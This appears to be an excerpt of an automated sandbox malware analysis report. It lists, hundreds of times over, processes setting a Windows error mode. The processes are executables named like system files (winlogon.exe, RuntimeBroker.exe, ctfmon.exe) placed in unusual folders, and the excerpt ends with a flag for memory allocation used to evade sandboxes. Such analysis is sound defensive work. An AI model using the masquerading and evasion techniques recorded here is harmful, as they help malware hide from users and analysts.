Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Mail\ctfmon.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Memory allocated: 1020000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Memory allocated: 1AE80000 memory reserve | memory write watch Jump to behavior
